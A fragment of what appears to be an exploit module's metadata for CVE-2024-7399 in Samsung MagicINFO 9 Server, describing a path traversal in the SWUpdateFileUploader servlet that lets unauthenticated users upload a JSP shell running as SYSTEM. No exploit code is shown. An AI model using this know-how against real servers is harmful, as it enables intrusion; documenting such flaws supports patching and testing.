'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)',
'Description' => %q{
Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0.
Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
which can be queried by an unauthenticated user to upload a JSP shell.
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM.
